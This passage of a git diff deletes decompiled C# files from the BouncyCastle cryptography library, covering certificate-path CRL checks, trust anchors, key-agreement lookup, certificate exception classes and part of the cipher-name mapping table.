CRL and complete CRL does not match."); - } - Asn1Object asn1Object = null; - try - { - asn1Object = PkixCertPathValidatorUtilities.GetExtensionValue(completeCRL, X509Extensions.AuthorityKeyIdentifier); - } - catch (Exception innerException3) - { - throw new Exception("Authority key identifier extension could not be extracted from complete CRL.", innerException3); - } - Asn1Object asn1Object2 = null; - try - { - asn1Object2 = PkixCertPathValidatorUtilities.GetExtensionValue(deltaCRL, X509Extensions.AuthorityKeyIdentifier); - } - catch (Exception innerException4) - { - throw new Exception("Authority key identifier extension could not be extracted from delta CRL.", innerException4); - } - if (asn1Object == null) - { - throw new Exception("CRL authority key identifier is null."); - } - if (asn1Object2 == null) - { - throw new Exception("Delta CRL authority key identifier is null."); - } - if (!asn1Object.Equals(asn1Object2)) - { - throw new Exception("Delta CRL authority key identifier does not match complete CRL authority key identifier."); - } - } - } - - internal static void ProcessCrlI(DateTime validDate, X509Crl deltacrl, object cert, CertStatus certStatus, PkixParameters pkixParams) - { - if (pkixParams.IsUseDeltasEnabled && deltacrl != null) - { - PkixCertPathValidatorUtilities.GetCertStatus(validDate, deltacrl, cert, certStatus); - } - } - - internal static void ProcessCrlJ(DateTime validDate, X509Crl completecrl, object cert, CertStatus certStatus) - { - if (certStatus.Status == 11) - { - PkixCertPathValidatorUtilities.GetCertStatus(validDate, completecrl, cert, certStatus); - } - } - - internal static PkixPolicyNode ProcessCertE(PkixCertPath certPath, int index, PkixPolicyNode validPolicyTree) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.CertificatePolicies)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Could not read certificate policies extension from certificate.", cause, certPath, index); - } - if (asn1Sequence == null) - { - validPolicyTree = null; - } - return validPolicyTree; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3281CertPathUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3281CertPathUtilities.cs deleted file mode 100644 index c120169..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3281CertPathUtilities.cs +++ /dev/null @@ -1,358 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -internal class Rfc3281CertPathUtilities -{ - internal static void ProcessAttrCert7(IX509AttributeCertificate attrCert, PkixCertPath certPath, PkixCertPath holderCertPath, PkixParameters pkixParams) - { - ISet criticalExtensionOids = attrCert.GetCriticalExtensionOids(); - if (criticalExtensionOids.Contains(X509Extensions.TargetInformation.Id)) - { - try - { - TargetInformation.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(attrCert, X509Extensions.TargetInformation)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Target information extension could not be read.", cause); - } - } - criticalExtensionOids.Remove(X509Extensions.TargetInformation.Id); - foreach (PkixAttrCertChecker attrCertChecker in pkixParams.GetAttrCertCheckers()) - { - attrCertChecker.Check(attrCert, certPath, holderCertPath, criticalExtensionOids); - } - if (!criticalExtensionOids.IsEmpty) - { - throw new PkixCertPathValidatorException("Attribute certificate contains unsupported critical extensions: " + criticalExtensionOids); - } - } - - internal static void CheckCrls(IX509AttributeCertificate attrCert, PkixParameters paramsPKIX, X509Certificate issuerCert, DateTime validDate, IList certPathCerts) - { - if (!paramsPKIX.IsRevocationEnabled) - { - return; - } - if (attrCert.GetExtensionValue(X509Extensions.NoRevAvail) == null) - { - CrlDistPoint crlDistPoint = null; - try - { - crlDistPoint = CrlDistPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(attrCert, X509Extensions.CrlDistributionPoints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("CRL distribution point extension could not be read.", cause); - } - try - { - PkixCertPathValidatorUtilities.AddAdditionalStoresFromCrlDistributionPoint(crlDistPoint, paramsPKIX); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("No additional CRL locations could be decoded from CRL distribution point extension.", cause2); - } - CertStatus certStatus = new CertStatus(); - ReasonsMask reasonsMask = new ReasonsMask(); - Exception cause3 = null; - bool flag = false; - if (crlDistPoint != null) - { - DistributionPoint[] array = null; - try - { - array = crlDistPoint.GetDistributionPoints(); - } - catch (Exception cause4) - { - throw new PkixCertPathValidatorException("Distribution points could not be read.", cause4); - } - try - { - for (int i = 0; i < array.Length; i++) - { - if (certStatus.Status != 11) - { - break; - } - if (reasonsMask.IsAllReasons) - { - break; - } - PkixParameters paramsPKIX2 = (PkixParameters)paramsPKIX.Clone(); - CheckCrl(array[i], attrCert, paramsPKIX2, validDate, issuerCert, certStatus, reasonsMask, certPathCerts); - flag = true; - } - } - catch (Exception innerException) - { - cause3 = new Exception("No valid CRL for distribution point found.", innerException); - } - } - if (certStatus.Status == 11 && !reasonsMask.IsAllReasons) - { - try - { - Asn1Object asn1Object = null; - try - { - asn1Object = new Asn1InputStream(attrCert.Issuer.GetPrincipals()[0].GetEncoded()).ReadObject(); - } - catch (Exception innerException2) - { - throw new Exception("Issuer from certificate for CRL could not be reencoded.", innerException2); - } - DistributionPoint dp = new DistributionPoint(new DistributionPointName(0, new GeneralNames(new GeneralName(4, asn1Object))), null, null); - PkixParameters paramsPKIX3 = (PkixParameters)paramsPKIX.Clone(); - CheckCrl(dp, attrCert, paramsPKIX3, validDate, issuerCert, certStatus, reasonsMask, certPathCerts); - flag = true; - } - catch (Exception innerException3) - { - cause3 = new Exception("No valid CRL for distribution point found.", innerException3); - } - } - if (!flag) - { - throw new PkixCertPathValidatorException("No valid CRL found.", cause3); - } - if (certStatus.Status != 11) - { - string text = certStatus.RevocationDate.Value.ToString("ddd MMM dd HH:mm:ss K yyyy"); - string text2 = "Attribute certificate revocation after " + text; - text2 = text2 + ", reason: " + Rfc3280CertPathUtilities.CrlReasons[certStatus.Status]; - throw new PkixCertPathValidatorException(text2); - } - if (!reasonsMask.IsAllReasons && certStatus.Status == 11) - { - certStatus.Status = 12; - } - if (certStatus.Status == 12) - { - throw new PkixCertPathValidatorException("Attribute certificate status could not be determined."); - } - } - else if (attrCert.GetExtensionValue(X509Extensions.CrlDistributionPoints) != null || attrCert.GetExtensionValue(X509Extensions.AuthorityInfoAccess) != null) - { - throw new PkixCertPathValidatorException("No rev avail extension is set, but also an AC revocation pointer."); - } - } - - internal static void AdditionalChecks(IX509AttributeCertificate attrCert, PkixParameters pkixParams) - { - foreach (string prohibitedACAttribute in pkixParams.GetProhibitedACAttributes()) - { - if (attrCert.GetAttributes(prohibitedACAttribute) != null) - { - throw new PkixCertPathValidatorException("Attribute certificate contains prohibited attribute: " + prohibitedACAttribute + "."); - } - } - foreach (string necessaryACAttribute in pkixParams.GetNecessaryACAttributes()) - { - if (attrCert.GetAttributes(necessaryACAttribute) == null) - { - throw new PkixCertPathValidatorException("Attribute certificate does not contain necessary attribute: " + necessaryACAttribute + "."); - } - } - } - - internal static void ProcessAttrCert5(IX509AttributeCertificate attrCert, PkixParameters pkixParams) - { - try - { - attrCert.CheckValidity(PkixCertPathValidatorUtilities.GetValidDate(pkixParams)); - } - catch (CertificateExpiredException cause) - { - throw new PkixCertPathValidatorException("Attribute certificate is not valid.", cause); - } - catch (CertificateNotYetValidException cause2) - { - throw new PkixCertPathValidatorException("Attribute certificate is not valid.", cause2); - } - } - - internal static void ProcessAttrCert4(X509Certificate acIssuerCert, PkixParameters pkixParams) - { - ISet trustedACIssuers = pkixParams.GetTrustedACIssuers(); - bool flag = false; - foreach (TrustAnchor item in trustedACIssuers) - { - IDictionary rFC2253Symbols = X509Name.RFC2253Symbols; - if (acIssuerCert.SubjectDN.ToString(reverse: false, rFC2253Symbols).Equals(item.CAName) || acIssuerCert.Equals(item.TrustedCert)) - { - flag = true; - } - } - if (!flag) - { - throw new PkixCertPathValidatorException("Attribute certificate issuer is not directly trusted."); - } - } - - internal static void ProcessAttrCert3(X509Certificate acIssuerCert, PkixParameters pkixParams) - { - if (acIssuerCert.GetKeyUsage() != null && !acIssuerCert.GetKeyUsage()[0] && !acIssuerCert.GetKeyUsage()[1]) - { - throw new PkixCertPathValidatorException("Attribute certificate issuer public key cannot be used to validate digital signatures."); - } - if (acIssuerCert.GetBasicConstraints() != -1) - { - throw new PkixCertPathValidatorException("Attribute certificate issuer is also a public key certificate issuer."); - } - } - - internal static PkixCertPathValidatorResult ProcessAttrCert2(PkixCertPath certPath, PkixParameters pkixParams) - { - PkixCertPathValidator pkixCertPathValidator = new PkixCertPathValidator(); - try - { - return pkixCertPathValidator.Validate(certPath, pkixParams); - } - catch (PkixCertPathValidatorException cause) - { - throw new PkixCertPathValidatorException("Certification path for issuer certificate of attribute certificate could not be validated.", cause); - } - } - - internal static PkixCertPath ProcessAttrCert1(IX509AttributeCertificate attrCert, PkixParameters pkixParams) - { - PkixCertPathBuilderResult pkixCertPathBuilderResult = null; - ISet set = new HashSet(); - if (attrCert.Holder.GetIssuer() != null) - { - X509CertStoreSelector x509CertStoreSelector = new X509CertStoreSelector(); - x509CertStoreSelector.SerialNumber = attrCert.Holder.SerialNumber; - X509Name[] issuer = attrCert.Holder.GetIssuer(); - for (int i = 0; i < issuer.Length; i++) - { - try - { - x509CertStoreSelector.Issuer = issuer[i]; - set.AddAll(PkixCertPathValidatorUtilities.FindCertificates(x509CertStoreSelector, pkixParams.GetStores())); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Public key certificate for attribute certificate cannot be searched.", cause); - } - } - if (set.IsEmpty) - { - throw new PkixCertPathValidatorException("Public key certificate specified in base certificate ID for attribute certificate cannot be found."); - } - } - if (attrCert.Holder.GetEntityNames() != null) - { - X509CertStoreSelector x509CertStoreSelector2 = new X509CertStoreSelector(); - X509Name[] entityNames = attrCert.Holder.GetEntityNames(); - for (int j = 0; j < entityNames.Length; j++) - { - try - { - x509CertStoreSelector2.Issuer = entityNames[j]; - set.AddAll(PkixCertPathValidatorUtilities.FindCertificates(x509CertStoreSelector2, pkixParams.GetStores())); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Public key certificate for attribute certificate cannot be searched.", cause2); - } - } - if (set.IsEmpty) - { - throw new PkixCertPathValidatorException("Public key certificate specified in entity name for attribute certificate cannot be found."); - } - } - PkixBuilderParameters instance = PkixBuilderParameters.GetInstance(pkixParams); - PkixCertPathValidatorException ex = null; - foreach (X509Certificate item in set) - { - X509CertStoreSelector x509CertStoreSelector3 = new X509CertStoreSelector(); - x509CertStoreSelector3.Certificate = item; - instance.SetTargetConstraints(x509CertStoreSelector3); - PkixCertPathBuilder pkixCertPathBuilder = new PkixCertPathBuilder(); - try - { - pkixCertPathBuilderResult = pkixCertPathBuilder.Build(PkixBuilderParameters.GetInstance(instance)); - } - catch (PkixCertPathBuilderException cause3) - { - ex = new PkixCertPathValidatorException("Certification path for public key certificate of attribute certificate could not be build.", cause3); - } - } - if (ex != null) - { - throw ex; - } - return pkixCertPathBuilderResult.CertPath; - } - - private static void CheckCrl(DistributionPoint dp, IX509AttributeCertificate attrCert, PkixParameters paramsPKIX, DateTime validDate, X509Certificate issuerCert, CertStatus certStatus, ReasonsMask reasonMask, IList certPathCerts) - { - if (attrCert.GetExtensionValue(X509Extensions.NoRevAvail) != null) - { - return; - } - DateTime utcNow = DateTime.UtcNow; - if (validDate.CompareTo((object?)utcNow) > 0) - { - throw new Exception("Validation time is in future."); - } - ISet completeCrls = PkixCertPathValidatorUtilities.GetCompleteCrls(dp, attrCert, utcNow, paramsPKIX); - bool flag = false; - Exception ex = null; - IEnumerator enumerator = completeCrls.GetEnumerator(); - while (enumerator.MoveNext() && certStatus.Status == 11 && !reasonMask.IsAllReasons) - { - try - { - X509Crl x509Crl = (X509Crl)enumerator.Current; - ReasonsMask reasonsMask = Rfc3280CertPathUtilities.ProcessCrlD(x509Crl, dp); - if (reasonsMask.HasNewReasons(reasonMask)) - { - ISet keys = Rfc3280CertPathUtilities.ProcessCrlF(x509Crl, attrCert, null, null, paramsPKIX, certPathCerts); - AsymmetricKeyParameter key = Rfc3280CertPathUtilities.ProcessCrlG(x509Crl, keys); - X509Crl x509Crl2 = null; - if (paramsPKIX.IsUseDeltasEnabled) - { - ISet deltaCrls = PkixCertPathValidatorUtilities.GetDeltaCrls(utcNow, paramsPKIX, x509Crl); - x509Crl2 = Rfc3280CertPathUtilities.ProcessCrlH(deltaCrls, key); - } - if (paramsPKIX.ValidityModel != 1 && attrCert.NotAfter.CompareTo((object?)x509Crl.ThisUpdate) < 0) - { - throw new Exception("No valid CRL for current time found."); - } - Rfc3280CertPathUtilities.ProcessCrlB1(dp, attrCert, x509Crl); - Rfc3280CertPathUtilities.ProcessCrlB2(dp, attrCert, x509Crl); - Rfc3280CertPathUtilities.ProcessCrlC(x509Crl2, x509Crl, paramsPKIX); - Rfc3280CertPathUtilities.ProcessCrlI(validDate, x509Crl2, attrCert, certStatus, paramsPKIX); - Rfc3280CertPathUtilities.ProcessCrlJ(validDate, x509Crl, attrCert, certStatus); - if (certStatus.Status == 8) - { - certStatus.Status = 11; - } - reasonMask.AddReasons(reasonsMask); - flag = true; - } - } - catch (Exception ex2) - { - ex = ex2; - } - } - if (flag) - { - return; - } - throw ex; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/TrustAnchor.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/TrustAnchor.cs deleted file mode 100644 index 730d841..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/TrustAnchor.cs +++ /dev/null @@ -1,121 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkix; - -public class TrustAnchor -{ - private readonly AsymmetricKeyParameter pubKey; - - private readonly string caName; - - private readonly X509Name caPrincipal; - - private readonly X509Certificate trustedCert; - - private byte[] ncBytes; - - private NameConstraints nc; - - public X509Certificate TrustedCert => trustedCert; - - public X509Name CA => caPrincipal; - - public string CAName => caName; - - public AsymmetricKeyParameter CAPublicKey => pubKey; - - public byte[] GetNameConstraints => Arrays.Clone(ncBytes); - - public TrustAnchor(X509Certificate trustedCert, byte[] nameConstraints) - { - if (trustedCert == null) - { - throw new ArgumentNullException("trustedCert"); - } - this.trustedCert = trustedCert; - pubKey = null; - caName = null; - caPrincipal = null; - setNameConstraints(nameConstraints); - } - - public TrustAnchor(X509Name caPrincipal, AsymmetricKeyParameter pubKey, byte[] nameConstraints) - { - if (caPrincipal == null) - { - throw new ArgumentNullException("caPrincipal"); - } - if (pubKey == null) - { - throw new ArgumentNullException("pubKey"); - } - trustedCert = null; - this.caPrincipal = caPrincipal; - caName = caPrincipal.ToString(); - this.pubKey = pubKey; - setNameConstraints(nameConstraints); - } - - public TrustAnchor(string caName, AsymmetricKeyParameter pubKey, byte[] nameConstraints) - { - if (caName == null) - { - throw new ArgumentNullException("caName"); - } - if (pubKey == null) - { - throw new ArgumentNullException("pubKey"); - } - if (caName.Length == 0) - { - throw new ArgumentException("caName can not be an empty string"); - } - caPrincipal = new X509Name(caName); - this.pubKey = pubKey; - this.caName = caName; - trustedCert = null; - setNameConstraints(nameConstraints); - } - - private void setNameConstraints(byte[] bytes) - { - if (bytes == null) - { - ncBytes = null; - nc = null; - } - else - { - ncBytes = (byte[])bytes.Clone(); - nc = NameConstraints.GetInstance(Asn1Object.FromByteArray(bytes)); - } - } - - public override string ToString() - { - string newLine = Platform.NewLine; - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("["); - stringBuilder.Append(newLine); - if (pubKey != null) - { - stringBuilder.Append(" Trusted CA Public Key: ").Append(pubKey).Append(newLine); - stringBuilder.Append(" Trusted CA Issuer Name: ").Append(caName).Append(newLine); - } - else - { - stringBuilder.Append(" Trusted CA cert: ").Append(TrustedCert).Append(newLine); - } - if (nc != null) - { - stringBuilder.Append(" Name Constraints: ").Append(nc).Append(newLine); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/AgreementUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/AgreementUtilities.cs deleted file mode 100644 index 600dcca..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/AgreementUtilities.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Agreement.Kdf; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class AgreementUtilities -{ - private static readonly IDictionary algorithms; - - private AgreementUtilities() - { - } - - static AgreementUtilities() - { - algorithms = Platform.CreateHashtable(); - algorithms[X9ObjectIdentifiers.DHSinglePassCofactorDHSha1KdfScheme.Id] = "ECCDHWITHSHA1KDF"; - algorithms[X9ObjectIdentifiers.DHSinglePassStdDHSha1KdfScheme.Id] = "ECDHWITHSHA1KDF"; - algorithms[X9ObjectIdentifiers.MqvSinglePassSha1KdfScheme.Id] = "ECMQVWITHSHA1KDF"; - algorithms[EdECObjectIdentifiers.id_X25519.Id] = "X25519"; - algorithms[EdECObjectIdentifiers.id_X448.Id] = "X448"; - } - - public static IBasicAgreement GetBasicAgreement(DerObjectIdentifier oid) - { - return GetBasicAgreement(oid.Id); - } - - public static IBasicAgreement GetBasicAgreement(string algorithm) - { - switch (GetMechanism(algorithm)) - { - case "DH": - case "DIFFIEHELLMAN": - return new DHBasicAgreement(); - case "ECDH": - return new ECDHBasicAgreement(); - case "ECDHC": - case "ECCDH": - return new ECDHCBasicAgreement(); - case "ECMQV": - return new ECMqvBasicAgreement(); - default: - throw new SecurityUtilityException("Basic Agreement " + algorithm + " not recognised."); - } - } - - public static IBasicAgreement GetBasicAgreementWithKdf(DerObjectIdentifier oid, string wrapAlgorithm) - { - return GetBasicAgreementWithKdf(oid.Id, wrapAlgorithm); - } - - public static IBasicAgreement GetBasicAgreementWithKdf(string agreeAlgorithm, string wrapAlgorithm) - { - switch (GetMechanism(agreeAlgorithm)) - { - case "DHWITHSHA1KDF": - case "ECDHWITHSHA1KDF": - return new ECDHWithKdfBasicAgreement(wrapAlgorithm, new ECDHKekGenerator(new Sha1Digest())); - case "ECMQVWITHSHA1KDF": - return new ECMqvWithKdfBasicAgreement(wrapAlgorithm, new ECDHKekGenerator(new Sha1Digest())); - default: - throw new SecurityUtilityException("Basic Agreement (with KDF) " + agreeAlgorithm + " not recognised."); - } - } - - public static IRawAgreement GetRawAgreement(DerObjectIdentifier oid) - { - return GetRawAgreement(oid.Id); - } - - public static IRawAgreement GetRawAgreement(string algorithm) - { - string mechanism = GetMechanism(algorithm); - if (mechanism == "X25519") - { - return new X25519Agreement(); - } - if (mechanism == "X448") - { - return new X448Agreement(); - } - throw new SecurityUtilityException("Raw Agreement " + algorithm + " not recognised."); - } - - public static string GetAlgorithmName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - private static string GetMechanism(string algorithm) - { - string text = Platform.ToUpperInvariant(algorithm); - string text2 = (string)algorithms[text]; - if (text2 != null) - { - return text2; - } - return text; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateEncodingException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateEncodingException.cs deleted file mode 100644 index 29404ae..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateEncodingException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CertificateEncodingException : CertificateException -{ - public CertificateEncodingException() - { - } - - public CertificateEncodingException(string msg) - : base(msg) - { - } - - public CertificateEncodingException(string msg, Exception e) - : base(msg, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateException.cs deleted file mode 100644 index 2efe230..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CertificateException : GeneralSecurityException -{ - public CertificateException() - { - } - - public CertificateException(string message) - : base(message) - { - } - - public CertificateException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateExpiredException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateExpiredException.cs deleted file mode 100644 index d36bd64..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateExpiredException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CertificateExpiredException : CertificateException -{ - public CertificateExpiredException() - { - } - - public CertificateExpiredException(string message) - : base(message) - { - } - - public CertificateExpiredException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateNotYetValidException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateNotYetValidException.cs deleted file mode 100644 index c1a175c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateNotYetValidException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CertificateNotYetValidException : CertificateException -{ - public CertificateNotYetValidException() - { - } - - public CertificateNotYetValidException(string message) - : base(message) - { - } - - public CertificateNotYetValidException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateParsingException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateParsingException.cs deleted file mode 100644 index 657b78e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CertificateParsingException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CertificateParsingException : CertificateException -{ - public CertificateParsingException() - { - } - - public CertificateParsingException(string message) - : base(message) - { - } - - public CertificateParsingException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CrlException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CrlException.cs deleted file mode 100644 index 73795b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/Certificates/CrlException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security.Certificates; - -[Serializable] -public class CrlException : GeneralSecurityException -{ - public CrlException() - { - } - - public CrlException(string msg) - : base(msg) - { - } - - public CrlException(string msg, Exception e) - : base(msg, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/CipherUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/CipherUtilities.cs deleted file mode 100644 index 74de089..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/CipherUtilities.cs +++ /dev/null @@ -1,674 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Encodings; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class CipherUtilities -{ - private enum CipherAlgorithm - { - AES, - ARC4, - BLOWFISH, - CAMELLIA, - CAST5, - CAST6, - DES, - DESEDE, - ELGAMAL, - GOST28147, - HC128, - HC256, - IDEA, - NOEKEON, - PBEWITHSHAAND128BITRC4, - PBEWITHSHAAND40BITRC4, - RC2, - RC5, - RC5_64, - RC6, - RIJNDAEL, - RSA, - SALSA20, - SEED, - SERPENT, - SKIPJACK, - SM4, - TEA, - THREEFISH_256, - THREEFISH_512, - THREEFISH_1024, - TNEPRES, - TWOFISH, - VMPC, - VMPC_KSA3, - XTEA - } - - private enum CipherMode - { - ECB, - NONE, - CBC, - CCM, - CFB, - CTR, - CTS, - EAX, - GCM, - GOFB, - OCB, - OFB, - OPENPGPCFB, - SIC - } - - private enum CipherPadding - { - NOPADDING, - RAW, - ISO10126PADDING, - ISO10126D2PADDING, - ISO10126_2PADDING, - ISO7816_4PADDING, - ISO9797_1PADDING, - ISO9796_1, - ISO9796_1PADDING, - OAEP, - OAEPPADDING, - OAEPWITHMD5ANDMGF1PADDING, - OAEPWITHSHA1ANDMGF1PADDING, - OAEPWITHSHA_1ANDMGF1PADDING, - OAEPWITHSHA224ANDMGF1PADDING, - OAEPWITHSHA_224ANDMGF1PADDING, - OAEPWITHSHA256ANDMGF1PADDING, - OAEPWITHSHA_256ANDMGF1PADDING, - OAEPWITHSHA384ANDMGF1PADDING, - OAEPWITHSHA_384ANDMGF1PADDING, - OAEPWITHSHA512ANDMGF1PADDING, - OAEPWITHSHA_512ANDMGF1PADDING, - PKCS1, - PKCS1PADDING, - PKCS5, - PKCS5PADDING, - PKCS7, - PKCS7PADDING, - TBCPADDING, - WITHCTS, - X923PADDING, - ZEROBYTEPADDING - } - - private static readonly IDictionary algorithms; - - private static readonly IDictionary oids; - - public static ICollection Algorithms => oids.Keys; - - static CipherUtilities() - { - algorithms = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - ((CipherAlgorithm)Enums.GetArbitraryValue(typeof(CipherAlgorithm))).ToString(); - ((CipherMode)Enums.GetArbitraryValue(typeof(CipherMode))).ToString(); - ((CipherPadding)Enums.GetArbitraryValue(typeof(CipherPadding))).ToString(); - algorithms[NistObjectIdentifiers.IdAes128Ecb.Id] = "AES/ECB/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes192Ecb.Id] = "AES/ECB/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes256Ecb.Id] = "AES/ECB/PKCS7PADDING"; - algorithms["AES//PKCS7"] = "AES/ECB/PKCS7PADDING"; - algorithms["AES//PKCS7PADDING"] = "AES/ECB/PKCS7PADDING"; - algorithms["AES//PKCS5"] = "AES/ECB/PKCS7PADDING"; - algorithms["AES//PKCS5PADDING"] = "AES/ECB/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes128Cbc.Id] = "AES/CBC/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes192Cbc.Id] = "AES/CBC/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes256Cbc.Id] = "AES/CBC/PKCS7PADDING"; - algorithms[NistObjectIdentifiers.IdAes128Ofb.Id] = "AES/OFB/NOPADDING"; - algorithms[NistObjectIdentifiers.IdAes192Ofb.Id] = "AES/OFB/NOPADDING"; - algorithms[NistObjectIdentifiers.IdAes256Ofb.Id] = "AES/OFB/NOPADDING"; - algorithms[NistObjectIdentifiers.IdAes128Cfb.Id] = "AES/CFB/NOPADDING"; - algorithms[NistObjectIdentifiers.IdAes192Cfb.Id] = "AES/CFB/NOPADDING"; - algorithms[NistObjectIdentifiers.IdAes256Cfb.Id] = "AES/CFB/NOPADDING"; - algorithms["RSA/ECB/PKCS1"] = "RSA//PKCS1PADDING"; - algorithms["RSA/ECB/PKCS1PADDING"] = "RSA//PKCS1PADDING"; - algorithms[PkcsObjectIdentifiers.RsaEncryption.Id] = "RSA//PKCS1PADDING"; - algorithms[PkcsObjectIdentifiers.IdRsaesOaep.Id] = "RSA//OAEPPADDING"; - algorithms[OiwObjectIdentifiers.DesCbc.Id] = "DES/CBC"; - algorithms[OiwObjectIdentifiers.DesCfb.Id] = "DES/CFB"; - algorithms[OiwObjectIdentifiers.DesEcb.Id] = "DES/ECB"; - algorithms[OiwObjectIdentifiers.DesOfb.Id] = "DES/OFB"; - algorithms[OiwObjectIdentifiers.DesEde.Id] = "DESEDE"; - algorithms["TDEA"] = "DESEDE"; - algorithms[PkcsObjectIdentifiers.DesEde3Cbc.Id] = "DESEDE/CBC"; - algorithms[PkcsObjectIdentifiers.RC2Cbc.Id] = "RC2/CBC"; - 